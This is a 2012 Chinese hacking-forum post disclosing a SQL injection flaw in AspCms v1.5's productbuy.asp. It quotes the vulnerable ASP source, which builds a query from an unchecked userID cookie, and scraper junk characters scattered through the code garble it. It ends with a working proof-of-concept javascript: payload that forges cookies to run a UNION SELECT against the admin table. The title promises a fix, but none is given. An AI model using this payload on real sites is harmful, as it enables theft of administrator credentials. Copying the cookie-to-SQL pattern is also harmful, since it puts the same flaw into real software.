找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2616|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
! _5 e) g4 d, Y& y- N. k9 D也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。# T3 a7 C# I0 A
废话不多说,看代码:
9 m" v5 \, R# l2 Y* q8 C" Q: o& Q8 o7 x$ ]# B
<%  \7 n+ h" P, M: S
1 {  b7 q5 ]- ^' w) M
if action = "buy" then
6 M) K/ g6 \; O+ T) v& f1 k" l+ W3 |
        addOrder(): O  H0 a! J5 r, X9 ^! H
) s& n7 g; F, {6 t7 N7 I$ x+ {' r
else
5 O( f" W6 h7 q) q, _
4 ?; u7 Z: v4 D        echoContent()( Y2 z, h# }9 ~5 }. H
' Z! y8 H4 f( q) M$ b
end if
; z/ h8 b, ^/ ?( v( F6 p% N. J& e2 k6 X) N% @

+ w2 S6 l' I" I1 o
* C) x; A3 }( I, I4 v/ f3 x……略过
; i) B/ D2 f: V/ v: q
9 l3 ^% U  l  D3 T% i" k! ?: Q
5 ~4 `  S+ s5 Q1 ~3 d# h- p0 L& R
( j0 i' o) Z# L, k% }Sub echoContent()6 h" s- e. t) a+ N- c* f+ r
0 c4 q2 |  k8 ~$ b( v2 k' O3 M
        dim id
) v! C2 d! g# j( J1 q
: ^4 c8 n5 i6 A' y; M8 }( D        id=getForm("id","get")5 c0 V# r% ?* Z3 k/ D$ w
3 }) V8 u1 s- B# V1 N
        
& K9 r7 p" L' z. E# O! q; ?
& L. o* x0 \) ?$ [* d  A! \- U        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
( O: K; t- S! g9 U1 B
" m+ j% w" {7 ?# W        
$ b2 ?  M2 C) ^" L/ v$ u2 |
$ h# d& m% ~9 P  \3 R        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
1 ^  W' j2 L3 g7 m! `& R" }' X* I" V8 `* u
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
6 `! N: k/ ]' S$ a
" {4 L/ S3 h' Y; ]9 `9 E3 U        Dim templatePath,tempStr
% V3 B% M. W. p/ Z1 l2 K* ?6 ^, F! O% m: G
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
: V( |3 h- @& _5 A- B7 t8 m6 r6 t. G6 B
- A4 M  ~, v4 M) S1 |
: D5 w0 ]* O2 \; u' }0 _. V9 H
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")# ]0 a: w) n, z$ B7 d! t# b

2 T, E$ u, ?, L# I% s' Q4 U        selectproduct=rsObj(0)
6 ^3 T( n5 K. e1 y% p5 y" r0 l# r$ |
        
! P1 ~, Q. @! r  `7 N* t# @. Z. e; \- V" i6 r1 H
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
( A. j' r/ w" d
# j/ e  t$ |1 e7 a        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
# c5 \$ ?( c0 G  V" Q0 k) S+ t; g3 A: a5 c# d
        if rCookie("loginstatus")=1 then  
( B' N; U% S. p- q# u6 o$ R' k) x* t8 n
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")0 r) [: ~- n7 `( z

/ y, P, v5 Z3 P                linkman=rsObj("truename")( a0 e9 \# O) h1 i- m0 A

' C  x9 V7 `9 f  L8 n- v" M                gender=rsObj("gender")
# ~# |, ?9 K8 e& A6 a6 {; x; i( t  L0 `
                phone=rsObj("phone")
$ ^& ?/ D, }! f- v% @3 n# M$ L5 t( z. e0 l. D; p; f. s- g
                mobile=rsObj("mobile"), [' K; A5 k3 y1 H# s

, j* X2 f0 ~) O8 r                email=rsObj("email")
7 D$ k- Z  Y" W7 X
+ m0 P$ H) T% J" i                qq=rsObj("qq")
! L( j0 [, A, O$ }
% T' Q0 O( \" A/ t7 r1 {4 g                address=rsObj("address")5 T7 W! j! M) E8 y) r0 [! _

1 P/ A. w- l: G9 e3 H4 P* d                postcode=rsObj("postcode"); s6 \% F  Y5 W3 E. Y; s4 \8 W

9 `8 p1 f/ S; x% @- d. |4 h" Z        else 9 @" s# R* U8 f+ z0 W9 h

5 N2 N6 G& w  H$ j3 p- f) S& `                gender=1" }7 w' `$ ^- v6 Z' d) c; L
+ p9 N4 |6 e# S4 d* }, T' Y
        end if/ G4 Q5 o2 H* o" k

& _) q$ H9 z6 B9 T5 g        rsObj.close()6 g7 n# C( W- b! [! V( T% D

6 `( ^% t& @- u2 {6 f                ( _# S6 _6 h$ D; N4 x. R
; C% b) i( O9 Q
        with templateObj ! g" m2 X+ G! n, |: M

6 ~' j" H# g' |6 o$ a* B                .content=loadFile(templatePath)        
; v8 X- X; K. F  y* n! g, B
0 Y- k  k% r) e/ h, \) ^' H5 \                .parseHtml()
7 S' r) }, i2 c8 ~
4 n4 E9 I3 }2 j5 Z/ b4 \( D: g                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)) s! h1 N# v) _. U
, C7 g6 m. o5 ~) w. l  z
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                7 x' T: K2 g& y7 k' T" v& Y8 G
2 ^! U0 F5 X: ~
                .content=replaceStr(.content,"[aspcms:gender]",gender)                  h3 m' u# M+ i* C
: A/ a5 x9 H* T2 h/ G" l8 f& J
                .content=replaceStr(.content,"[aspcms:phone]",phone)                1 ?2 U1 s: p: W- e
) V* d% h; D- x* I
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                4 ]( V# c4 ^3 e$ g5 G* a. T

) u6 }  G9 c. B* G/ x                .content=replaceStr(.content,"[aspcms:email]",email)                        
1 i- F) K" r, w. a: ^
" m5 r  k- R6 h                .content=replaceStr(.content,"[aspcms:qq]",qq)                        : _" G" C6 q/ _$ Y, J) J
0 V& U7 V0 D7 ?+ Y0 X% o: f& f
                .content=replaceStr(.content,"[aspcms:address]",address)                        
" _1 c7 w' ?, f9 _1 w# a" d5 s8 k: G2 O3 k3 m4 m& W
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
; j7 f4 E4 e$ M2 }: V, M1 Z9 B# N7 z$ U6 Z
                .parseCommon()                 5 I- {5 P1 o/ _- I! ]
: B2 N; p5 }* |" E9 `+ v
                echo .content
8 \4 t/ T5 @" L- Z7 ^4 A$ e
, E6 x) J& p  F+ [$ [# f" l        end with
1 m' Z& L" P, K! W) }: ^8 H& U! ]
' [5 ~- _3 o0 D( {8 _        set templateobj =nothing : terminateAllObjects
" Z& C- @5 |' ]# |! p9 z
/ m) Y  _. Z% f9 c4 c% l$ xEnd Sub. O( f- A( |6 l7 q' y8 R
漏洞很明显,没啥好说的+ t3 \, A, j( a. w
poc:3 v+ w/ a8 M: A* S# Q

& f5 ]  l6 b0 z1 O! Kjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​- U- B+ w- c" ~

9 G1 J4 C& c' F" J" ~4 y) X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表